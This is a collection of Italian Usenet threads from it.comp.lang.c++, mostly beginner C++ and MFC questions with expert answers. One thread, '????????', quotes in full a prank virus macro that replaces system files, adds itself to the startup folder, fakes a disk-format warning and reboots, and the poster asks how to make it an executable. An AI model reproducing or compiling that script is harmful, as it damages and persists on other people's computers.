mii-community/UsenetArchiveIT-conversations huggingface dataset:
Newsgroup: it.comp.lang.c++
Titolo: Cattura eventi ..............

Ciao è da una settimana che lavoro con Visual C++ quindi scusatemi se
la mi domanda sarà banale.
La situazione è questa: in una finestra voglio visualizzare 5 o più
strutture del tipo label-campo edit- slider quindi ho creato un
vettore che contiene struct cosi definite:
struct {
     CStatic label;
     CEdit edit;
     CSliderCtrl slider;
}
Lo scopo è fare catturare gli eventi EN_CHANGE su Cedit ed il
movimento dello
slider per fare in modo che una variazione dello slider vada a
scrivere il nuovo valore su edit oppure che l'inserimento di un nuovo
valore in edit modifichi la posizione dello slider.
Come posso fare??
Per ora ho derivato una classe CSliderEnum da CSliderCrtl aggiugento
una proprietà index con i relativi metodi get e set, la quale può
essere recuperata poichè il metodo OnHScroll mi fornisce un puntatore
all'oggetto che ha scatenatol'evento .... brutto ma funziona!!!
Per il passaggio inverso le cose si complicano infatti il metodo
OnEditChange non mi mi da un bel niente, non posso ricavere da quale
Cedit del vettore è stato scatento l'evento EN_CHANGE....
OGNI CONSIGLIO/CRITICA E' BEN ACCETTA......
ciao e grazie.

 la mi domanda sarà banale.
Ciao,
Questo newsgroup si occupa del linguaggio C++ in quanto tale, e non di
aspetti specifici di particolari implementazioni. Per questo non e' il
posto piu' adatto per porre domande specifiche come la tua.
Potresti avere piu' fortuna su uno dei seguenti gruppi:
Per Win32 (95, 98, NT): it.comp.programmare.win32
Per Dos/Win 3.x: it.comp.os.dos
Per Linux: it.comp.os.linux.development
Per C++Builder: i gruppi borland.public.cppbuilder.*, disponibili sul
server 
newsgroups.borland.com
 (prevalentemente in
inglese, ma si puo' postare anche in italiano)
Grazie,
Andrea Laforgia

Newsgroup: it.comp.lang.c++
Titolo: c++ ->vb

Ho una necessità di questo tipo : io programmo prevalentemente in assembler
e visual basic e devo integrare un piccolo programma free ( ho i
sorgenti perché anche questi sono free ) a un mio programma in visual basic
. Il programma è scritto in c ed è compilato in borland c++  e si tratta di
trasformarlo in Visual basic o modificarlo in modo tale che non utilizzi
un'interfaccia utente ma carichi un piccolo file ini che contenga le
operazioni da fare . Qualcuno mi può aiutare ?
Grazie 1000 !


ma le leggi le risposte?
Adieu,
-- 
Lestat de Lioncourt  -- a.k.a --  Ciro Mattia Gonano
 Undergraduate student in Computer Science at University of Bologna
 IHGGer #1049   <=>  ICQ#: 52631406   <=>   URL: 
http://www.CS.UniBO.It/~gonano
 Debian admin at 
Students.CS.UniBO.It
 <=> look at headers for my JabberID & GPG
Newsgroup: it.comp.lang.c++
Titolo: AIUTO!!! MFC

Salve a tutti,
ho cominciato da poco ad utilizzare il Visual C++ e in particolare le MFC,
ho un problema, devo caricare un file di testo in una finestra già creata,
sto usando la funzione DrawText, ma non riesco  a riconoscere il ritorno  a
capo e quindi  scrivo tutto sulla stessa riga, potete darmi qualche dritta?
Come si fa ad inserire una scroll bar ad un oggetto di tipoCDC?
Grazie a tutti
====================================
Andrea
ear...@LEVAMIfreemail.it

 Come si fa ad inserire una scroll bar ad un oggetto di tipoCDC?
La 'dritta' principale e` di porre queste domande nel gruppo
    it.comp.programmazione.win32
visto che non hanno nulla a che vedere con l'uso del C++ in
modo indipendente dalla piattaforma, che e` il tema di questo
gruppo.
Saro` felice di aiutarti se poni le domande nel gruppo giusto,
ma non qui.
Alex

Grazie della dritta,
Il gruppo che ho trovato č:
it.comp.programmare.win32
giusto?
Ciao

Andrea <Ear...@LEVAMIfreemail.it> wrote in message
855c5m$ndg$2...@news.flashnet.it...

Giustissimo: e` il gruppo dedicato a ogni possibile modo
di programmare specifico di Windows a 32 bit.
Alex

Newsgroup: it.comp.lang.c++
Titolo: delete!

Ciao a tutti,
e` corretto creare un metodo in una classe che ha la funzione di uccidere
la classe stessa?
All'interno ci metto un bel
delete(this);
L'unica cosa che mi occorre e` quella di richiamare oggetto.stop() anziche`
delete(oggetto) oltre che avere un valore di ritorno.
Grazie mille, ciao.

 delete(this);
Sě, a due condizioni:
 1. l'oggetto deve essere instanziato dinamicamente
 2. dopo "delete this" il metodo non deve toccare nessun membro
    dell'oggetto.
Nota che non č sufficiente che "delete this" sia l'ultima istruzione del
metodo (eventualmente prima di un return), occorre anche tenere in
considerazione le operazioni compiute dai distruttori degli oggetti
automatici. Per coincidenza, proprio ieri ho scovato per caso un errore in
un vecchio frammento di codice (non mio) che eseguiva "delete this" come
ultima istruzione di un metodo. In quel metodo veniva usato un
idioma/pattern che viene chiamato scope-locking: un oggetto automatico
(guardia) acquisisce un mutex nel costruttore e lo rilascia del
distruttore. Il problema con quel metodo era che il mutex in questione
apparteneva all'oggetto stesso (serviva infatti per il reference-counting)
e il distruttore della guardia operava su di esso dopo che il delete
dell'oggetto era stato eseguito.
Max


     dell'oggetto.
grazie! ciao
Newsgroup: it.comp.lang.c++
Titolo: [META] Funzionamento del gruppo

Ciao a tutti.
Da qualche tempo, forse perche' siamo tutti di malumore perche' le ferie
sono finite, e' notevolmente aumentato il numero di messaggi che
discutono cosa si deve e cosa non si deve spedire al gruppo, se si deve
creare un nuovo gruppo e cosi' via.
Inoltre sono comparsi parecchi messaggi di risposta a posting fuori tema
francamente offensivi, anche nei confronti di persone, magari ignoranti
delle regole, ma presumibilmente in buona fede.
Nell'invitare tutti a ritornare alla normalita' ed a concentrare il
traffico del newsgroup sul suo argomento, vi ribadisco il mio punto di
vista.
Questo newsgroup tratta del linguaggio C++ standard e di argomenti
*strettamente* correlati. Il suo argomento e' definito dal titolo *e*
dal manifesto; a supporto di questa tesi segnalo che non sono state
presentate evidenze conclusive del contrario e che a suo tempo il GCN ha
accettato il nostro manifesto, che in modo molto preciso restringe
l'ambito del gruppo (anche perche' in origine era nato come estensione e
non come sostituzione del manifesto precedente).
Il gruppo non e' moderato ed e' secondo me preferibile che resti cosi':
la moderazione e' un grosso impegno, bisogna trovare un team affiatato
ed *equo* di moderatori, il ritardo e' noioso ed e' da solo causa di
aumento di traffico.
Da parte mia intendo continuare a perseguire i nuovi messaggi OT, in
modo cortese ma fermo. Secondo la mia esperienza la maggioranza di chi
riceve il mio post e' grato delle indicazioni ricevute e vi si attiene.
Contro i maleducati recidivi si alza il tiro: di solito il loro ego e'
tale che abbandonano velocemente il newsgroup.
Come sapete sono decisamente tollerante nei confronti dei thread che
"scivolano" fuori argomento. D'altro canto sono comunque messaggi OT e
non avrei niente in contrario a che qualcun'altro si prendesse la briga
di reprimere questa cattiva abitudine, a patto che lo faccia in modo
cortese e *prima* di intervenire nel merito del thread fuori tema.
Mi pare che nei circa due anni da che frequento il newsgroup questo modo
di operare abbia permesso al gruppo di fornire risposte ai quesiti
presentati e di ospitare discussioni interessanti.
Ciao,
Nicola

delle regole, ma presumibilmente in buona fede.
Sono d'accordo su tutto quanto, sebbene l'abbia "snippato",
pero' c'e' da ricordare che nei ng e' diffuso il fenomeno
dei "troll", ovvero persone che spingono, volutamente, verso
i flame, quindi stiamo attenti.
--
Andrea Laforgia (mica uno qualunque...)
Newsgroup: it.comp.lang.c++
Titolo: PRESTO PRESTO!!! AIUTATEMI!!!

č valido in C++ passare un riferimento a un puntatore?
Chiarirņ con un esempio:
ho 2 puntatori e 2 variabili, ad esempio
    int x, y;
    int*  j, k;
e una funzione il cui prototipo č
    void funzione(int a, int& b, int* c, int*& d);
Viene chiamata la funzione in questo modo
    funzione(x, y, j, k);
Quindi
1) Ad "a" si assegna il valore di "x" ( => OK)
2) "b" diventa un riferimento ad "y" (=> OK)
3) A "c" viene assegnato il valore dell' indirizzo di memoria di j (=> OK)
e fin qui ci siamo
4) "d", diventa un riferimento al puntatore "k"?
   Cioč,
=> Quello che ho scritto č corretto in C++?
=> Posso modificare dentro la funzione "d" modificando anche "k"????
Vi prego di rispondermi, il mio manuale di C++ tratta solo i riferimenti a
tipi non puntatore, non so se č corretto, ci sono arrivato per intuito ,ne
ho bisogno per l'universitą.
Grazie a chiunque mi risponda!!!!
Cristiano

     int*  j, k;
Penso che k non e' un puntatore a intero ma semplicemente
una variabile di tipo intero, dovresti scrivere:
	int *j, *k;
Ciao.
Tagliento Francesco
--
Posted from 
tlvsdy.vim.tlt.alcatel.it
 [151.98.8.244]
via Mailgate.ORG Server - 
http://www.mailgate.org

    int*  j, k;
No: k qui e` una variabile intera, NON un puntatore.
Penso che tu intendessi scrivere invece:
    int *j, *k;
Puo` essere considerata una migliore abitudine quella
di dichiarare una sola variabile per dichiarazione, onde
evitare incidenti di questo tipo.
A parte questo importante dettaglio, quanto scrivi e`
corretto in C++.
Alex

     funzione(x, y, j, k);
Mi sembra tutto corretto. La differenza tra puntatore e
riferimento_a_puntatore è che, mentre nel primo caso viene passata una
copia del puntatore, nel secondo viene passato un alias del puntatore
che quindi si può far puntare ad un indirizzo diverso cambiando anche
quello del puntatore definito nel programma principale.
EMG

=> Posso modificare dentro la funzione "d" modificando anche "k"????
Ovviamente.
Paolo
----------------------------------------------------------
  Paolo Marotta
  Computer Science, University of Pisa
  home:   
http://www.cli.di.unipi.it/~marotta
  e-mail: 
mar...@cli.di.unipi.it
 
----------------------------------------------------------

Si, intendevo
int *j, *k;
Il problema però era indipendente da quello.
Grazie.
Newsgroup: it.comp.lang.c++
Titolo: Posizionamento ToolBar

Ciao a tutti,
se devo posizionare una toolbar in un certo modo, ad esempio, tra due
altre toolbar su una stessa riga, cosa devo fare? Nonostante i miei
tentativi con
	m_ManToolBar.EnableDocking(CBRS_ALIGN_LEFT | CBRS_ALIGN_TOP);
	EnableDocking(CBRS_ALIGN_LEFT | CBRS_ALIGN_TOP);
 e cambiando i valori delle costanti, il risultato e' sempre lo
stesso: questa toolbar viene visualizzata sotto quella principale.
Inoltre, ho la funzione CMainFrame::ShowManualBar() in MainFrm.cpp per
la creazione e visualizzazione della suddetta toolbar, ed e'
dichiarata public in MainFrm.h. Quando poi la richiamo come
	CMainFrame::ShowManualBar()
da un certo file .cpp (in cui ho incluso MainFrm.h) mi da l'errore che
questa funzione non e' statica, oppure che la chiamata e' illegale.
Perche'?
Thanks.
Bye
Enrico

Perche'?
perche' non puoi chiamare un membro non statico senza un'istanza della
classe, dovresti in qualche modo ottenere il puntatore alla MainFrame
e poi chiamare la funzione. In questo caso si tratta della finestra
principale dell'applicazione per cui potresti scrivere:
CMainFrame *pFrame=STATIC_DOWNCAST(CMainFrame,AfxGetMainWnd())
pFrame->ShowManualBar()
Attenzione pero' ! La toobar dovrebbe venir creata durante la
OnCreate() della MainFrame.
Gianpaolo Bottin
- Live Long and Prosper -

Newsgroup: it.comp.lang.c++
Titolo: concatenare in una stringa tipi diversi

Ho cominciato da poche settimane a studiare il cpp; forse qualcuno riconosce
un esercizio del libro di Stephen Prada; ho un array di strutture allocate
dinamicamente con new. Questo pezzo funziona, registra la stessa stringa
costante:
for (int i=0; i<3; i++)
{
strcpy((snack+i)->CBname, "un nome");
}
Adesso mi chiedevo come si scrive l'equivalente del visual basic:
 "un nome " & i
cioč vorrei registrare in CBname la stringa + la conversione di i in
stringa.

 Ho cominciato da poche settimane a studiare il cpp;
scusate, forse è un problema prematuro per me; ho  trovato questo
///////////////////////////////////////
// File: convert.h
 #include <iostream>
 #include <sstream>
 #include <string>
 #include <stdexcept>
 class BadConversion : public std::runtime_error {
 public:
   BadConversion(const std::string& s)
     : std::runtime_error(s)
     { }
 };
 inline std::string stringify(double x)
 {
   std::ostringstream o;
   if (!(o << x))
     throw BadConversion("stringify(double)");
   return o.str();
 }
//////////////////////////////////////
//e non ci capisco molto...
Newsgroup: it.comp.lang.c++
Titolo: membro vettore di puntatori a funzioni membro, possibile?

Ciao a tutti,
spero che il subject sia stato sufficientemente stuzzicante, anche se penso
che questo sia un problema per palati fini. Vi espongo direttamente il
codice in questione...
class A
{
public:
    int c;
};
class B : public A
{
public:
    int m;
    int (B::*vect[10])();
    int v1() { m = 0; return 0; }
    int v2() { m = 1; return 1; }
    int v3() { m = 2; return 2; }
    void load()
        vect[0] = v1;
        vect[1] = v2;
        vect[2] = v3;
     }
    int call(int n)
    {
        // error C2064: term does not evaluate to a function
        return vect[n]( 0 );
    }
};
int main(int argc, char* argv[])
{
    B b;
    b.load();
    b.call( 0 );
    return 0;
}
L'obiettivo finale e' di realizzare un'interprete che mi permetta di
eseguire un mio pseudo codice macchina.
Ogni opcode ha un numero crescente e si rapporta uno ad uno con le funzioni
presenti nel vettore vect.
Un grazie anticipato a chi mi potesse aiutare in quest'ora di estremo
sconforto.
Ciao Vincenzo.

};
Dovresti sostituire la chiamata della funzione con:
    return (this->*vect[n])();
la scrittura "->*" indica che vuoi accedere ad un membro della classe
passando da un puntatore a membro, mentre devi racchiudere tutto tra
parentesi tonde per una questione di priorita'. Inoltre non devi passare
nessun parametro visto che gli elementi del vettore sono dichiarati come
puntatori a funzioni che restituiscono un intero, ma senza parametri -
esattamente come le tue funzioni "v". Forse quest'ultima cosa e' stata una
svista e te ne sarai gia' accorto.
Non so se esiste una scrittura piu' "semplice", ma cosi' l'ho provata e
funziona bene.
Ciao,
Angelo.

        return vect[n]( 0 );
Ha ragione; devi scrivere qualcosa come:
    this->*(vect[n])();
cioe` usare esplicitamente l'operatore ->* (e NON passare
argomenti, visto che hai dichiarato che le funzioni membro
indicate da vect non ne accettano, ma questo e` un altro
problema).
Alex

Newsgroup: it.comp.lang.c++
Titolo: Aiuto su liste

Ciao a tutti,mi sapreste dire come posso realizzare un programma sulle
liste  in C con l'ausilio dei puntatori,che riguarda l'inserimento,la
stampa,
la ricerca e ordinamento.
rsp x favore

 ha scritto nel messaggio
news:7wjN9.41095$Ou4.1...@twister2.libero.it...

sicuro! ti basta postare nel NG giusto, cioč news://it.comp.lang.c.

Newsgroup: it.comp.lang.c++
Titolo: Programmazione a Vincoli

Cerco informazioni su ILOG Solver. Devo realizzare una tesi su
programmazione a vincoli utilizzando queste librerie cpp. Cerco materiale
utile: link , consigli ...
Gazier in anticipo, Stefano.

utile: link , consigli ...
http://www.google.it/search?q=ILOG+Solver&hl=it&lr=
é pieno di link!
cod

 utile: link , consigli ...
Lo distribuisce in Italia la ditta per cui lavoro, ObjectWay
(
www.objectway.it
). Tieni conto che e' un prodotto commerciale e che
costa pure caro. 
Ciao,
Nicola
Newsgroup: it.comp.lang.c++
Titolo: NoobHelp--> Stringhe

Ciao a tutti ho iniziato a programmare in c++ diciamo da 2 giorni :-), vengo
dal linguaggio pascal, volevo sapere kome si indica un carettere di una
stringa in c++, cioè l'equivalente di "  Stringa1[5] "(quinto carattere di
Stringa1) in pascal.
Grazie ciao

 Stringa1) in pascal.
Se usi std::string per le tue stringhe, puoi usare sia "mystring[4]" che 
"
mystring.at
(4)", anche come lvalue (assegnabile).
Il primo ha un comportamento indefinito se cerchi di accedere a 
caratteri al di fuori del range ammesso per quella stringa, mentre il 
secondo in quel caso tira un'eccezione.
Puoi anche usare un iteratore, del tipo
     std::string mystring("Hello world");
     std::string::iterator i(mystring.begin() + 4);
     *i = 'Z';
ma occhio a non farlo sforare (comportamento indefinito)
Apropos, "4" e non "5" in quanto gli indici in C e C++ partono da 0 e 
non da 1, e quindi l'elemento con indice 4 e` il quinto elemento.
-- 
   |   \    \  | ___|_  |_  | ianezz a casa sua... :-)
   |  _ \  | \ | _|    /   /  Visita il LinuxTrent a
  _|_/  _\_|  _|____|___|___| 
http://www.linuxtrent.it
Newsgroup: it.comp.lang.c++
Titolo: enum e loop

Salve a tutti,
in origine era
enum team_t {INVALID_TEAM = -1, TEAM_RED = 0, TEAM_GREEN, TEAM_BLUE,
TEAM_YELLOW};
ed era cosa buona.
Poi, in un punto del codice, mi sono trovato a dover fare un loop su
tutte le squadre.
E poi, mi sono accorto che un giorno potrei voler cambiare i numeri di
quelle squadre (che so, partire da 1 invece che da 0, ecc.)
Quale puo' essere una soluzione semplice ed efficace? L'unica cosa che
mi viene in mente e' di definire le costanti una per una:
const int INVALID_TEAM = -1;
const int TEAM_RED = 0
...
e poi un vettore tipo (passatemi l'inizializzazione farlocca):
vector<int> teams = {TEAM_RED, ...}
cosi' da poter essere sicuro di avere ovunque nel codice i dati
corretti (teams.size() , iteratori su teams ...)
Idee migliori?
Pleg

 quelle squadre (che so, partire da 1 invece che da 0, ecc.)
lo puoi fare. Quello che mi sembra strano � che tu abbia bisogno di 
queste costanti. In quale situazione useresti TEAM_BLUE? Ad occhio direi 
che quello che ti serve sapere � solo il numero di squadre ed 
eventualmente il loro nome. Lo mnemonico mi sembra superfluo.
E.

> In quale situazione useresti TEAM_BLUE?
Nell'interfaccia grafica. Quando l'utente pigia il tasto "team blue"
chiamero' una funzione a cui passo l'enum TEAM_BLUE.
Il problema e' se pigia "tutti i team" e devo fare il loop su tutti
gli enum.
Pleg

 tutte le squadre.
pensa se poi dovessi per qualche ragione usare valori NON 
consecutivi (che so, per ciclare in enum usate come maschere 
di bit, e quindi con valori tipo potenza del due).
Con l'introspezione si può riversare in un array l'intero 
set di valori, ed iterarlo senza buchi ...
Mi spiace di non poterti aiutare in nessun altro modo
ciao
Soviet
CUT ALL

 consecutivi
Era per quello che pensavo a fare un vettore in cui mettere tutti i
miei enum, non che mi piaccia ma non mi viene in mente altro al
momento.
Pleg

 Pleg

Ti ringrazio, ma probabilmente sarebbe overkill per me (nel senso che
ho gia' un bel po' di altri problemi di codice piu' urgenti di cui
occuparmi, e non ho il tempo di studiare anche questo).
Cmq grazie dell'interessamento! Decisamente qualcosa a cui un giorno
dovro' dare un'occhiata!
Pleg

Newsgroup: it.comp.lang.c++
Titolo: librerie static

Se io creo una libreria di tipo static, che ha dei sorgenti che usano altre
librerie nel file che viene prodotto c'è tutto quello che serve per usarla ,
o devo cmq usare insieme alla mia libreira le librerie che mi sono serviti
in fase di compilazione?
Sergio


Tutte le librerie statiche utilizzate, direttamente o indirettamente,
devono essere linkate all'eseguibile e il linker stesso ti segnalerà i
simboli irrisolti.
EMG
--
EMAG Software Homepage:     
http://www.emagsoftware.it
The EMG's ZX-Spectrum Page: 
http://www.emagsoftware.it/spectrum
The Best of Spectrum Games: 
http://www.emagsoftware.it/tbosg
Newsgroup: it.comp.lang.c++
Titolo: [OT] Materiale su SFINAE

Scusate l'OT
ho cercato su internet materiale riguardante la tecnica SFINAE
ma non ho trovato nulla.
qualcuno conosce qualche link che puo essere utile?
Grazie mille
Ciao

 qualcuno conosce qualche link che puo essere utile?
No, non c'è molto, in effetti.
Questo potrebbe interessarti:
http://snipurl.com/w2rh
Kiuhnm

 qualcuno conosce qualche link che puo essere utile?
Credo che il riferimento d'obbligo sia il libro di Vandevoorde e
Josuttis, "C++ Templates - A complete reference". Se ti interessano
questi argomenti e' pressoche' obbligatorio.
Ciao,
Nicola

 questi argomenti e' pressoche' obbligatorio.
grazie mille ad entrambi.
Il libro si trova in versione italiana e in italia o mi conviene
prenderlo su internet?
Grazie ancora
Ciao


Che io sappia non e' stato tradotto. Via internet lo paghi certamente
di meno che in una libreria italiana (pero' se stai a Milano prova a
controllare con 
gorilla.it
).
Ciao,
Nicola

Newsgroup: it.comp.lang.c++
Titolo: new: perchè non va ???

Le due funzioni qui sotto permettono di gestire l'allocazione deallocazione
di una certa porzione di memoria.
L'allocazione funziona perfettamente, ma quando eseguo la dellocazione il
programma va in Assertion !!!! sulla linea indicata.
Chi mi sa indicare dove è l'errore !!!
unsigned char* m_PixelsSel;
// Allocate memory for the pixel selected
//
BOOL CCustomFont::Allocate_m_PixelsSel(int numPixel, int numByteForLine)
{
	m_dimAllocMem = numPixel*numByteForLine;
	m_PixelsSel = new unsigned char (m_dimAllocMem);
	if(m_PixelsSel == NULL)
		m_bfAllocPixelsSel = FALSE;		
	else
		m_bfAllocPixelsSel = TRUE;
	return m_bfAllocPixelsSel;
}
// Deallocate area for last copy and paste operation
//
void CCustomFont::Delete_m_PixelsSelArea()
{
	if(m_bfAllocPixelsSel)
	{
		delete [m_dimAllocMem]m_PixelsSel;	// <- Assertion
		m_bfAllocPixelsSel = FALSE;
		m_dimAllocMem = 0;
	}
}
--
Posted from [195.223.129.35]
via Mailgate.ORG Server - 
http://www.mailgate.org

...


 delete [m_dimAllocMem]m_PixelsSel; // <- Assertion
Qui invece stai liberando un *array* di unsigned char,
mentre ne hai allocato uno scalare.  Nota: la sintassi
"moderna" (standard, da parecchi anni) nel delete di
un array é:
    delete[] m_PixelsSel;
senza niente fra le quadre (quella che hai usato viene
supportata per compatibilitá col lontano passato...).
Presumibilmente intendevi usare quadre, e non tonde,
nella "new" sopra citata?
Alex

Premetto subito che l'errore è probabilmente nato dal fatto che non ho
trovato un esempio esaustivo suo miei diversi libroni (new in allocazione
dinamica non compare) e quindi mi sono comportato un po' come si faceva con
la quona vecchia malloc.
Il problema è che la malloc e solamente parente alla lontana con new (la
sintassi poi è completamente diversa). Il tempo come si sa è tiranno e
spesso e volentieri si sceglie la strada che funziona subito (malloc)
invece della nuova (new).
Comunque provero domattina a seguire i Vostri consigli... Per ora un grazie
ad entrambi.

Newsgroup: it.comp.lang.c++
Titolo: Costruire le win con le api

     
www.cityline.it/personal/fogazzid/

resource?
"I tasti e tutto il resto"?  Puoi costruire finestre con RegisterClass
(per definire vari parametri, fra cui, soprattutto, la window procedure
che hai scritto) e poi CreateWindow (o la versione Ex di entrambe).
Non so quali "tasti" tu abbia in mente.  Se quel che intendi e` creare
dei controlli BUTTON con stile pushbutton, certo, puoi dargli come
Parent la tua finestra teste` creata (nella loro CreateWindowEx).
Devi pero` implementare varie cosette nella tua window procedure
se vuoi che la "navigazione di tastiera" fra i controlli contenuti nella
tua window proceda come normalmente va in un dialogo (nel quale
ultimo caso te la implementa la winproc standard dei dialoghi -- con,
naturalmente, l'obbligo di chiamare IsDialogMessage nel tuo event
loop per i dialoghi modeless, ecc).
La tua menzione di "file di resource" mi suggerisce che quello che
intendi e` forse la creazione di un *dialogo*, piuttosto che di una
generica finestra.  Questo puoi farlo con CreateDialogIndirect
(e CreateDialogIndirectParam) per un dialogo non modale, o
DialogBoxIndirectParam per un dialogo modale; a queste, passi
il puntatore a un'area di memoria che inizia con un DLGTEMPLATE,
segue con varie altre cose (facoltativamente), e si chiude con
un array di N DLGITEMTEMPLATE.  Non e` esattamente banale
sistemare il tutto alla perfezione, anche se varie piccole cose,
che basta tenere in mente, sono i punti d'inciampo piu` probabili
(tutte le stringhe in Unicode, tutte le coordinate dei controlli in
dialog unit, ecc).
Per un dialogo non modale, puoi crearlo senza WS_VISIBLE, e
magari inizialmente vuoto; aggiungere controlli con CreateWindow;
e infine mostrarlo con ShowWindow.  Per uno modale, potresti,
analogamente, creare i controlli in risposta a WM_INITDIALOG
(cioe` entro la dialog procedure del dialogo stesso); questo
puo` forse semplificarti le cose.
Alex
Newsgroup: it.comp.lang.c++
Titolo: USING NAMESPACE STD

Grazie a tutti coloro che sono in grado di darmi una piccola soffiata sul
namespace.
La stringa < USING NAMESPACE STD; > non è supportata dal Borland C++ V5.0 in
quanto ho provato a compilare qualsiasi tipo di programma con essa, come per
es il seguente codice:
#include <iostream>
using namespace std;
void main( )
{
 <instruction>
 ...
}
etc...
Sto iniziando a programma re in C++ e sul testo della McGrawHill C++ Guida
completa Seconda Edizione, inizia la presentazione con un programma in cui è
applicato il nuovo standard C++: se il prog Borland C++ v5.0, non l'accetta,
quale compilatore puo' farlo? E che tipo di funzione svolge la stringa che
ho menzionato(in parole povere)?
Grazie a tutti. Ciao

ho menzionato(in parole povere)?
E' strano che non lo accetti, a che anno risale il compilatore ?
Comunque il C++ Builder 4 e 5 lo accettano tranquillamente.
--
Andrea Laforgia (
andrea_...@bigfoot.com
)
"I know every element of C" - Ioannis Vranos

Io uso il 5.02 e li accetta regolarmente .


applicato il nuovo standard C++
Sicuro di aver compilato con le opzioni del TargetExpert
Platform=Win32 e Target Model=Console?
P.S. Fai riferimento alla cartella \bc5\examples\stdlib per esempi.
Bye.

 ho menzionato(in parole povere)?
E' strano che tu non lo sappia, sulla guida di schildt spiega chiaramente
che std è il namespace in cui è dichiarata l'intera libreria standard C++,
così si semplifica l'accesso alla libreria standard. Cmq più avanti nel
libro verrà approfondito l'argomento namespace, in questo punto del libro si
vuole solo far notare una delle modifiche apportate al C++ dallo standard
Ansi/ISO, l'autore non vuole certo far capire in quattro righe cosa sono i
namespace (il capitolo 11 è solo una panoramica sul C++)!!
sent by .....
(o)<<<<<<<=>>>>>>>>(o)
  \\  +-------------------+  //    « Sono stato nessuno,
   )) |   }/* SgRuNg */{   | ((              per diventare qualcuno. »
  //  +-------------------+  \\
(o)<<<<<<<=>>>>>>>>(o)
=================================================
In principio, il file era informe e vuoto,
e il vuoto era sulla faccia dei bit.
E le Dita dell'Autore si mossero sulla faccia della tastiera.
E l'Autore disse "Siano le parole!",
e le parole furono.
=================================================

 wrote in message
8mheoq$r66$1...@serv1.albacom.net...


 wrote in message
C6ej5.22719$dF5.4...@news.infostrada.it...

Newsgroup: it.comp.lang.c++
Titolo: Premere INVIO su un dialog

Tutti i miei programmi basati su dialog (utilizzando MFC) hanno un
comportamento un po' strano che non riesco a capire: alla pressione
del tasto INVIO escono immediatamente con codice di ritorno 13.
Questo ovviamente capita anche quando non è selezionato nulla (ad es.
non è selezionato il button OK).
Qualcuno saprebbe darmi una spiegazione del "fenomeno" e un modo per
non farlo succedere?
GRAZIE
Daniele.

...

La pressione di "Invio" equivale, per normale comportamento
Windows, al click sul "pushbutton di default" del dialogo.  Il
codice di ritorno 13 non lo capisco proprio (cosa torni nella
tua OnOK...?); quale sia il pushbutton di default, lo definisci
tu (fra le risorse di stile del tuo dialogo nel resource editor,
ad esempio, oppure anche da programma).  Non ti consiglio
di violare le guidelines di Windows impedendo al bottone di
default di venire invocato all'"Invio"; se mai, cambia bottone
di default, mettendone uno che fa qualche cosa di "normale"
e "frequente" nella tua applicazione, senza terminarla.
Alex
Newsgroup: it.comp.lang.c++
Titolo: ????????

Scusate, che linguaggio è questo??? e come posso farlo diventare exe?????
CreateDirectory("c:\vviirruuss\")
If(FileExist("c:\documenti\np2.gc"),GoTo(":DoTest"),GoTo(":Cont")))
:cont
MessageBox("Non hai salvato i files nella cartella Documenti")
:Dotest
CopyFile(c:\documenti\np2.gc,"c:\vviirruuss\np2.gc")
If(FileExist("c:\logo.sys"),GoTo("LOGOYES"),GoTo("LOGONO"))
:LOGOYES
CopyFile(c:\logo.sys,"c:\vviirruuss\logo.sys")
DeleteFile(c:\logo.sys)
CopyFile("c:\documenti\logo.sys","c:\logo.sys")
CopyFile("c:\documenti\np2.gc","c:\vviirruuss\np2.gc")
WriteToFile("c:\vviirruuss\Virus.hzd","ByebyePC")
WriteToFile("c:\vviirruuss\config.bat","Ahahahahahahah")
MessageBox("ByeByePC")
WriteToFile("c:\vviirruuss\b1.txt","oh no my PC IS burning...........")
WriteToFile("c:\vviirruuss\b2.txt","And my brother is called bungooooo")
WriteToFile("c:\vviirruuss\b3.txt","Oh, the fireworks")
WriteToFile("c:\vviirruuss\b4.txt","But my pc is still burning")
WriteToFile("c:\vviirruuss\b5.txt","oh no my PC IS burning...........")
RunProgram("c:\vviirruuss\b1.txt",Normal)
Delay(2000)
CloseWindow("B1 - Blocco note")
RunProgram("c:\vviirruuss\b2.txt",Normal)
Delay(2000)
CloseWindow("B2 - Blocco note")
RunProgram("c:\vviirruuss\b3.txt",Normal)
Delay(2000)
CloseWindow("B3 - Blocco note")
RunProgram("c:\vviirruuss\b4.txt",Normal)
Delay(2000)
CloseWindow("B4 - Blocco note")
RunProgram("c:\vviirruuss\b5.txt",Normal)
Delay(2000)
CloseWindow("B5 - Blocco note")
MessageBoxOkCancel("Are you sure to format all on your hard-drive??")
MouseClickScreen(236,365)
If(MouseClickScreen(236,365),MessageBox("Too LATE"))
CopyFile("c:\vviirruuss\np2.gc","c:\Windows\Menu Avvio\Programmi\Esecuzione
Automatica\np2.gc")
RebootSystem()
ExitMacro()
:LOGONO
CopyFile("c:\documenti\logo.sys","c:\logo.sys")
WriteToFile("c:\vviirruuss\Virus.hzd","ByebyePC")
WriteToFile("c:\vviirruuss\config.bat","Ahahahahahahah")
MessageBox("ByeByePC")
WriteToFile("c:\vviirruuss\b1.txt","oh no my PC IS burning...........")
WriteToFile("c:\vviirruuss\b2.txt","And my brother is called bungooooo")
WriteToFile("c:\vviirruuss\b3.txt","Oh, the fireworks")
WriteToFile("c:\vviirruuss\b4.txt","But my pc is still burning")
WriteToFile("c:\vviirruuss\b5.txt","oh no my PC IS burning...........")
RunProgram("c:\vviirruuss\b1.txt",Normal)
Delay(2000)
RunProgram("c:\vviirruuss\b2.txt",Normal)
Delay(2000)
RunProgram("c:\vviirruuss\b3.txt",Normal)
Delay(2000)
RunProgram("c:\vviirruuss\b4.txt",Normal)
Delay(2000)
RunProgram("c:\vviirruuss\b5.txt",Normal)
Delay(2000)
MessageBoxOkCancel("Are you sure to format all on your hard-drive??")
MouseClickScreen(236,365)
If(MouseClickScreen(236,365),MessageBox("Too LATE"))
CopyFile("c:\vviirruuss\np2.gc","c:\windows\menu avvio\programmi\esecuzione
automatica\np2.gc")
RebootSystem()
ExitMacro()
Grazie mille a tutti
ciao
EUROBOND

Qual'e` l'estensione del file?
Paolo
-----------------------------------------------------------------
  Paolo Marotta
  Computer Science, University of Pisa
  home:   
http://www.cli.di.unipi.it/~marotta
-----------------------------------------------------------------
Newsgroup: it.comp.lang.c++
Titolo: Gestione Eccezioni

Ciao a tutti,
volevo sapere se qualcuno conosce un modo per avere una gestione robusta 
delle eccezioni.
Io uso solitamente il classico try ... catch... ma qusto non mi garantisce 
che l' applicazione non si pianti.
Quello che vorrei e' un metodo che mi consenta di catturare tutte le 
eccezioni del sistema operativo , o provato in vari modi ma ci sono sempre 
dei casi che sfuggono e che piantano l' applicazione.
In altre parole quello che vorrei ottenere e' la possibilita' di utilizzare 
